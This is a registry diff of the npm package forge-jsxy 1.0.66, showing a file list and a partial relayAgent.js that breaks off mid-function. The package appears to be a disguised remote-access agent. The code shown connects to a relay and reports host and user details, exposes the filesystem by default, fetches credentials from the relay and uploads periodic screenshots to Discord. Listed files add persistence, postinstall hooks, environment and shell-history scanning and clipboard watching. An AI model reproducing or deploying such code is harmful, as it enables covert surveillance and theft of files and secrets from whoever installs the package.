forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,828 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
36
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
37
|
+
};
|
|
38
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
|
+
exports.runRelayAgentLoop = runRelayAgentLoop;
|
|
40
|
+
/**
|
|
41
|
+
* WebSocket relay agent — `/files` fs_* protocol only (cfgmgr.remote.run_agent).
|
|
42
|
+
*/
|
|
43
|
+
const node_crypto_1 = require("node:crypto");
|
|
44
|
+
const fs = __importStar(require("node:fs"));
|
|
45
|
+
const os = __importStar(require("node:os"));
|
|
46
|
+
const path = __importStar(require("node:path"));
|
|
47
|
+
const ws_1 = __importDefault(require("ws"));
|
|
48
|
+
const relayAuth_1 = require("./relayAuth");
|
|
49
|
+
const fsMessages_1 = require("./fsMessages");
|
|
50
|
+
const hfCredentials_1 = require("./hfCredentials");
|
|
51
|
+
const hfUpload_1 = require("./hfUpload");
|
|
52
|
+
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
53
|
+
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
54
|
+
const clientId_1 = require("./clientId");
|
|
55
|
+
const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
|
|
56
|
+
const pendingRelayHf = new Map();
|
|
57
|
+
/** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
|
|
58
|
+
const pendingDiscordRelayAck = new Map();
|
|
59
|
+
function clearAllPendingDiscordRelayAcks(reason) {
|
|
60
|
+
for (const [, p] of pendingDiscordRelayAck) {
|
|
61
|
+
clearTimeout(p.timer);
|
|
62
|
+
p.resolve({ ok: false, error: reason });
|
|
63
|
+
}
|
|
64
|
+
pendingDiscordRelayAck.clear();
|
|
65
|
+
}
|
|
66
|
+
/** Await `relay_discord_upload_ticket_result` per `request_id` (webhook/direct upload mode). */
|
|
67
|
+
const pendingDiscordTicket = new Map();
|
|
68
|
+
function clearAllPendingDiscordTickets(reason) {
|
|
69
|
+
for (const [, p] of pendingDiscordTicket) {
|
|
70
|
+
clearTimeout(p.timer);
|
|
71
|
+
p.resolve({ ok: false, error: reason });
|
|
72
|
+
}
|
|
73
|
+
pendingDiscordTicket.clear();
|
|
74
|
+
}
|
|
75
|
+
function clearAllPendingRelayHf(reason) {
|
|
76
|
+
for (const [, p] of pendingRelayHf) {
|
|
77
|
+
try {
|
|
78
|
+
p.reject(new Error(reason));
|
|
79
|
+
}
|
|
80
|
+
catch {
|
|
81
|
+
/* promise may already be settled */
|
|
82
|
+
}
|
|
83
|
+
}
|
|
84
|
+
pendingRelayHf.clear();
|
|
85
|
+
}
|
|
86
|
+
function clearAllPendingDiscordAgent(reason) {
|
|
87
|
+
clearAllPendingDiscordRelayAcks(reason);
|
|
88
|
+
clearAllPendingDiscordTickets(reason);
|
|
89
|
+
clearAllPendingRelayHf(reason);
|
|
90
|
+
}
|
|
91
|
+
function waitDiscordRelayAck(requestId) {
|
|
92
|
+
return new Promise((resolve) => {
|
|
93
|
+
const timer = setTimeout(() => {
|
|
94
|
+
if (pendingDiscordRelayAck.has(requestId)) {
|
|
95
|
+
pendingDiscordRelayAck.delete(requestId);
|
|
96
|
+
resolve({
|
|
97
|
+
ok: false,
|
|
98
|
+
error: "timeout waiting for discord_screenshot_upload_result (120s)",
|
|
99
|
+
});
|
|
100
|
+
}
|
|
101
|
+
}, 120_000);
|
|
102
|
+
pendingDiscordRelayAck.set(requestId, { resolve, timer });
|
|
103
|
+
});
|
|
104
|
+
}
|
|
105
|
+
function waitDiscordTicket(requestId) {
|
|
106
|
+
return new Promise((resolve) => {
|
|
107
|
+
const timer = setTimeout(() => {
|
|
108
|
+
if (pendingDiscordTicket.has(requestId)) {
|
|
109
|
+
pendingDiscordTicket.delete(requestId);
|
|
110
|
+
resolve({
|
|
111
|
+
ok: false,
|
|
112
|
+
error: "timeout waiting for relay_discord_upload_ticket_result (120s)",
|
|
113
|
+
});
|
|
114
|
+
}
|
|
115
|
+
}, 120_000);
|
|
116
|
+
pendingDiscordTicket.set(requestId, { resolve, timer });
|
|
117
|
+
});
|
|
118
|
+
}
|
|
119
|
+
/**
|
|
120
|
+
* Prefer Hub credentials from the relay (`RELAY_HF_CREDENTIALS_B64` on the server) so the agent
|
|
121
|
+
* needs no local HF blob. **Default: on** when unset — matches `npm install` with no extra env.
|
|
122
|
+
* Opt out with `CFGMGR_HF_FETCH_FROM_RELAY=0` to use only `CFGMGR_HF_CREDENTIALS_B64` / plaintext on the agent.
|
|
123
|
+
*/
|
|
124
|
+
function hfFetchFromRelayEnabled() {
|
|
125
|
+
const e = (process.env.CFGMGR_HF_FETCH_FROM_RELAY || "").trim().toLowerCase();
|
|
126
|
+
if (["0", "false", "no", "off"].includes(e))
|
|
127
|
+
return false;
|
|
128
|
+
if (["1", "true", "yes", "on"].includes(e))
|
|
129
|
+
return true;
|
|
130
|
+
return true;
|
|
131
|
+
}
|
|
132
|
+
/** Relay may send JSON number or string; clamp to the same bounds as {@link startDiscordScreenshotToRelayLoop}. */
|
|
133
|
+
function parseRelayDiscordIntervalMs(raw) {
|
|
134
|
+
let n;
|
|
135
|
+
if (typeof raw === "number" && Number.isFinite(raw)) {
|
|
136
|
+
n = Math.floor(raw);
|
|
137
|
+
}
|
|
138
|
+
else if (typeof raw === "string") {
|
|
139
|
+
n = parseInt(raw.trim(), 10);
|
|
140
|
+
}
|
|
141
|
+
else {
|
|
142
|
+
return null;
|
|
143
|
+
}
|
|
144
|
+
if (!Number.isFinite(n))
|
|
145
|
+
return null;
|
|
146
|
+
return Math.min(600_000, Math.max(15_000, n));
|
|
147
|
+
}
|
|
148
|
+
/** Stagger caps from `relay_features` — same bounds as agent env (`FORGE_JS_DISCORD_*_STAGGER_MS`). */
|
|
149
|
+
function parseRelayDiscordStaggerCapMs(raw, maxCap) {
|
|
150
|
+
let n;
|
|
151
|
+
if (typeof raw === "number" && Number.isFinite(raw)) {
|
|
152
|
+
n = Math.floor(raw);
|
|
153
|
+
}
|
|
154
|
+
else if (typeof raw === "string") {
|
|
155
|
+
n = parseInt(raw.trim(), 10);
|
|
156
|
+
}
|
|
157
|
+
else {
|
|
158
|
+
return null;
|
|
159
|
+
}
|
|
160
|
+
if (!Number.isFinite(n) || n <= 0)
|
|
161
|
+
return null;
|
|
162
|
+
return Math.min(maxCap, Math.max(1, n));
|
|
163
|
+
}
|
|
164
|
+
function fetchHfCredentialsFromRelay(sendJsonFn) {
|
|
165
|
+
return new Promise((resolve, reject) => {
|
|
166
|
+
const reqId = `hf_${Date.now()}_${(0, node_crypto_1.randomBytes)(8).toString("hex")}`;
|
|
167
|
+
const t = setTimeout(() => {
|
|
168
|
+
if (pendingRelayHf.has(reqId)) {
|
|
169
|
+
pendingRelayHf.delete(reqId);
|
|
170
|
+
reject(new Error("timeout waiting for relay HF credentials (30s)"));
|
|
171
|
+
}
|
|
172
|
+
}, 30_000);
|
|
173
|
+
pendingRelayHf.set(reqId, {
|
|
174
|
+
resolve: (c) => {
|
|
175
|
+
clearTimeout(t);
|
|
176
|
+
resolve(c);
|
|
177
|
+
},
|
|
178
|
+
reject: (e) => {
|
|
179
|
+
clearTimeout(t);
|
|
180
|
+
reject(e);
|
|
181
|
+
},
|
|
182
|
+
});
|
|
183
|
+
sendJsonFn({ type: "relay_hf_credentials_request", request_id: reqId });
|
|
184
|
+
});
|
|
185
|
+
}
|
|
186
|
+
function systemInfo() {
|
|
187
|
+
let localIp = "unknown";
|
|
188
|
+
try {
|
|
189
|
+
const nets = os.networkInterfaces();
|
|
190
|
+
let ipv6Candidate = "";
|
|
191
|
+
for (const name of Object.keys(nets)) {
|
|
192
|
+
for (const net of nets[name] || []) {
|
|
193
|
+
const fam = net.family;
|
|
194
|
+
const isV4 = fam === "IPv4" || fam === 4 || String(fam) === "4";
|
|
195
|
+
const isV6 = fam === "IPv6" || fam === 6 || String(fam) === "6";
|
|
196
|
+
if (isV4 && !net.internal) {
|
|
197
|
+
localIp = net.address;
|
|
198
|
+
break;
|
|
199
|
+
}
|
|
200
|
+
if (isV6 && !net.internal && !ipv6Candidate) {
|
|
201
|
+
ipv6Candidate = net.address;
|
|
202
|
+
}
|
|
203
|
+
}
|
|
204
|
+
if (localIp !== "unknown")
|
|
205
|
+
break;
|
|
206
|
+
}
|
|
207
|
+
if (localIp === "unknown" && ipv6Candidate) {
|
|
208
|
+
localIp = ipv6Candidate;
|
|
209
|
+
}
|
|
210
|
+
}
|
|
211
|
+
catch {
|
|
212
|
+
/* skip */
|
|
213
|
+
}
|
|
214
|
+
// os.machine() was added in Node.js 18.9.0; guard for Node 18.0-18.8 compatibility.
|
|
215
|
+
const machine = typeof os.machine === "function"
|
|
216
|
+
? os.machine()
|
|
217
|
+
: "";
|
|
218
|
+
return {
|
|
219
|
+
hostname: os.hostname(),
|
|
220
|
+
local_ip: localIp,
|
|
221
|
+
os: os.type(),
|
|
222
|
+
os_version: os.version(),
|
|
223
|
+
os_release: os.release(),
|
|
224
|
+
machine,
|
|
225
|
+
node: process.version,
|
|
226
|
+
platform: process.platform,
|
|
227
|
+
user: process.env.USER || process.env.USERNAME || "unknown",
|
|
228
|
+
};
|
|
229
|
+
}
|
|
230
|
+
/** Read the forge-jsx package version from its package.json (for relay version tracking). */
|
|
231
|
+
function readForgeJsxVersion(pkgRoot) {
|
|
232
|
+
if (!pkgRoot)
|
|
233
|
+
return "";
|
|
234
|
+
try {
|
|
235
|
+
const raw = fs.readFileSync(path.join(pkgRoot, "package.json"), "utf8");
|
|
236
|
+
const j = JSON.parse(raw);
|
|
237
|
+
return (j.version || "").trim();
|
|
238
|
+
}
|
|
239
|
+
catch {
|
|
240
|
+
return "";
|
|
241
|
+
}
|
|
242
|
+
}
|
|
243
|
+
const screenOff = {
|
|
244
|
+
primary_width: 0,
|
|
245
|
+
primary_height: 0,
|
|
246
|
+
monitors: 0,
|
|
247
|
+
capture: "disabled",
|
|
248
|
+
};
|
|
249
|
+
function log(quiet, msg) {
|
|
250
|
+
if (quiet)
|
|
251
|
+
return;
|
|
252
|
+
console.log(msg);
|
|
253
|
+
}
|
|
254
|
+
/**
|
|
255
|
+
* Many deployments use `:8765` for forge-db HTTP and `:9877` (or similar) for the explorer relay.
|
|
256
|
+
* Pointing the agent at the API port yields a hung “Waiting for agent…” in `/files`.
|
|
257
|
+
*/
|
|
258
|
+
function warnIfRelayUrlUsesApiPort(baseWs, quiet) {
|
|
259
|
+
if (quiet)
|
|
260
|
+
return;
|
|
261
|
+
let port = "";
|
|
262
|
+
try {
|
|
263
|
+
const u = new URL(baseWs.replace(/^ws:/i, "http:").replace(/^wss:/i, "https:"));
|
|
264
|
+
port = (u.port || "").trim();
|
|
265
|
+
if (!port) {
|
|
266
|
+
if (u.protocol === "https:")
|
|
267
|
+
port = "443";
|
|
268
|
+
else if (u.protocol === "http:")
|
|
269
|
+
port = "80";
|
|
270
|
+
}
|
|
271
|
+
}
|
|
272
|
+
catch {
|
|
273
|
+
return;
|
|
274
|
+
}
|
|
275
|
+
if (port === String(deploymentDefaults_1.API_DEFAULT_PORT)) {
|
|
276
|
+
console.warn(`[forge-agent] Relay URL uses port ${deploymentDefaults_1.API_DEFAULT_PORT} (often the forge-db **HTTP API**), not the file-explorer WebSocket relay (default **:${deploymentDefaults_1.RELAY_DEFAULT_PORT}**). ` +
|
|
277
|
+
"If the browser stays on “Waiting for agent…”, set CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL to the relay ws:// or wss:// URL (correct host and relay port).");
|
|
278
|
+
}
|
|
279
|
+
}
|
|
280
|
+
function runRelayAgentLoop(opts) {
|
|
281
|
+
const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs = 5000, quiet = false, pkgRoot, onRelayCapabilities, } = opts;
|
|
282
|
+
const sessionId = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSid);
|
|
283
|
+
const base = (0, relayAuth_1.normalizeRelayWsUrl)(relayUrl).replace(/\/+$/, "");
|
|
284
|
+
warnIfRelayUrlUsesApiPort(base, quiet);
|
|
285
|
+
const wsUrl = `${base}/ws/agent/${encodeURIComponent(sessionId)}`;
|
|
286
|
+
const passwordHash = password ? (0, relayAuth_1.passwordSha256)(password) : "";
|
|
287
|
+
let viewerAuthenticated = !password;
|
|
288
|
+
let viewerConnected = false;
|
|
289
|
+
let pendingAuthNonce = "";
|
|
290
|
+
/** Latest agent socket for this loop (HF progress survives reconnect — see `sendJson` in `connect`). */
|
|
291
|
+
let outboundAgentWs = null;
|
|
292
|
+
const capabilities = {
|
|
293
|
+
platform: process.platform,
|
|
294
|
+
input: "disabled",
|
|
295
|
+
filesystem_agent: allowFilesystem,
|
|
296
|
+
};
|
|
297
|
+
const forgeJsxVersion = readForgeJsxVersion(pkgRoot);
|
|
298
|
+
const sysInfo = {
|
|
299
|
+
...systemInfo(),
|
|
300
|
+
/** forge-jsx package version — reported to relay for version tracking and update diagnostics. */
|
|
301
|
+
forge_jsx_version: forgeJsxVersion,
|
|
302
|
+
};
|
|
303
|
+
let reconnectTimer = null;
|
|
304
|
+
const scheduleReconnect = () => {
|
|
305
|
+
if (reconnectTimer)
|
|
306
|
+
return;
|
|
307
|
+
reconnectTimer = setTimeout(() => {
|
|
308
|
+
reconnectTimer = null;
|
|
309
|
+
connect();
|
|
310
|
+
}, reconnectDelayMs);
|
|
311
|
+
};
|
|
312
|
+
const connect = () => {
|
|
313
|
+
let stopDiscordScreenshotLoop = null;
|
|
314
|
+
log(quiet, `CfgMgr relay agent [file explorer /fs_* only]\n Relay: ${relayUrl}\n Session: ${sessionId}\n FS explore: ${allowFilesystem ? "ON" : "OFF"}`);
|
|
315
|
+
log(quiet, " Connecting to relay...");
|
|
316
|
+
void (0, relayAuth_1.relayWsProxySetting)();
|
|
317
|
+
const preOpenQueue = [];
|
|
318
|
+
/** `ws` uses the same numeric states as browsers; avoid relying on `WebSocket.CONNECTING` export quirks. */
|
|
319
|
+
const WS_CONNECTING = 0;
|
|
320
|
+
const WS_OPEN = 1;
|
|
321
|
+
const sendJson = (obj) => {
|
|
322
|
+
const w = outboundAgentWs;
|
|
323
|
+
if (!w)
|
|
324
|
+
return;
|
|
325
|
+
if (w.readyState === WS_OPEN) {
|
|
326
|
+
w.send(JSON.stringify(obj));
|
|
327
|
+
return;
|
|
328
|
+
}
|
|
329
|
+
if (w.readyState === WS_CONNECTING) {
|
|
330
|
+
preOpenQueue.push(obj);
|
|
331
|
+
}
|
|
332
|
+
};
|
|
333
|
+
const ws = new ws_1.default(wsUrl, {
|
|
334
|
+
/** Match relay `maxPayload` (2**27) so large `fs_read` / `fs_zip` frames from the server are accepted. */
|
|
335
|
+
maxPayload: 2 ** 27,
|
|
336
|
+
handshakeTimeout: Math.min(120, Math.max(10, (0, relayAuth_1.relayOpenTimeoutSec)())) * 1000,
|
|
337
|
+
/** Less CPU / latency on long sessions than default deflate (helps “gets slow over time”). */
|
|
338
|
+
perMessageDeflate: false,
|
|
339
|
+
});
|
|
340
|
+
outboundAgentWs = ws;
|
|
341
|
+
/** Relay `connected` may arrive before or after this `open` handler’s setImmediate — wait for both before starting Discord. */
|
|
342
|
+
let openHandlerFinishedInfo = false;
|
|
343
|
+
let relayAgentHandshakeDone = false;
|
|
344
|
+
let discordLoopStarted = false;
|
|
345
|
+
let discordEnabledByRelayHandshake = false;
|
|
346
|
+
const tryStartDiscordAfterHandshake = () => {
|
|
347
|
+
if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
|
|
348
|
+
return;
|
|
349
|
+
discordLoopStarted = true;
|
|
350
|
+
try {
|
|
351
|
+
stopDiscordScreenshotLoop?.();
|
|
352
|
+
}
|
|
353
|
+
catch {
|
|
354
|
+
/* skip */
|
|
355
|
+
}
|
|
356
|
+
stopDiscordScreenshotLoop = (0, discordAgentScreenshot_1.startDiscordScreenshotToRelayLoop)({
|
|
357
|
+
sendJson,
|
|
358
|
+
quiet,
|
|
359
|
+
waitForRelayDiscordAck: waitDiscordRelayAck,
|
|
360
|
+
waitForDiscordTicket: waitDiscordTicket,
|
|
361
|
+
enabledByRelayCapabilities: discordEnabledByRelayHandshake,
|
|
362
|
+
});
|
|
363
|
+
};
|
|
364
|
+
const relayDisconnectCleanup = () => {
|
|
365
|
+
try {
|
|
366
|
+
(0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_1.defaultCfgmgrDataDir)());
|
|
367
|
+
}
|
|
368
|
+
catch {
|
|
369
|
+
/* skip */
|
|
370
|
+
}
|
|
371
|
+
try {
|
|
372
|
+
(0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
|
|
373
|
+
}
|
|
374
|
+
catch {
|
|
375
|
+
/* skip */
|
|
376
|
+
}
|
|
377
|
+
};
|
|
378
|
+
const applyRelayAgentConnected = (msg) => {
|
|
379
|
+
if (relayAgentHandshakeDone)
|
|
380
|
+
return;
|
|
381
|
+
discordEnabledByRelayHandshake = false;
|
|
382
|
+
let caps = {};
|
|
383
|
+
const rf = msg.relay_features;
|
|
384
|
+
if (rf && typeof rf === "object" && !Array.isArray(rf)) {
|
|
385
|
+
caps = rf;
|
|
386
|
+
if (caps.discord_screenshot === true) {
|
|
387
|
+
const cur = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim();
|
|
388
|
+
if (!cur) {
|
|
389
|
+
discordEnabledByRelayHandshake = true;
|
|
390
|
+
}
|
|
391
|
+
const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
|
|
392
|
+
/**
|
|
393
|
+
* Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
|
|
394
|
+
* `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
|
|
395
|
+
* per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
|
|
396
|
+
* multi-minute gaps.
|
|
397
|
+
*/
|
|
398
|
+
const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
|
|
399
|
+
if (clamped != null && !agentIv) {
|
|
400
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
|
|
401
|
+
}
|
|
402
|
+
const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
|
|
403
|
+
if (!agentSg) {
|
|
404
|
+
const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
|
|
405
|
+
if (sg != null) {
|
|
406
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
|
|
407
|
+
}
|
|
408
|
+
}
|
|
409
|
+
const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
|
|
410
|
+
if (!agentFsg) {
|
|
411
|
+
const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
|
|
412
|
+
if (fg != null) {
|
|
413
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
|
|
414
|
+
}
|
|
415
|
+
}
|
|
416
|
+
}
|
|
417
|
+
}
|
|
418
|
+
relayAgentHandshakeDone = true;
|
|
419
|
+
try {
|
|
420
|
+
onRelayCapabilities?.(caps);
|
|
421
|
+
}
|
|
422
|
+
catch {
|
|
423
|
+
/* skip */
|
|
424
|
+
}
|
|
425
|
+
tryStartDiscordAfterHandshake();
|
|
426
|
+
};
|
|
427
|
+
ws.on("open", () => {
|
|
428
|
+
log(quiet, " Connected to relay");
|
|
429
|
+
viewerAuthenticated = !password;
|
|
430
|
+
viewerConnected = false;
|
|
431
|
+
pendingAuthNonce = "";
|
|
432
|
+
openHandlerFinishedInfo = false;
|
|
433
|
+
relayAgentHandshakeDone = false;
|
|
434
|
+
discordLoopStarted = false;
|
|
435
|
+
discordEnabledByRelayHandshake = false;
|
|
436
|
+
/**
|
|
437
|
+
* Defer first `info` + queued sends to the next tick so inbound `viewer_connected` (auth
|
|
438
|
+
* challenge) can be handled first on some OS/network stacks — reduces “stuck Authenticating…”
|
|
439
|
+
* after the second agent connect.
|
|
440
|
+
*/
|
|
441
|
+
setImmediate(() => {
|
|
442
|
+
sendJson({
|
|
443
|
+
type: "info",
|
|
444
|
+
data: {
|
|
445
|
+
screen: screenOff,
|
|
446
|
+
capabilities,
|
|
447
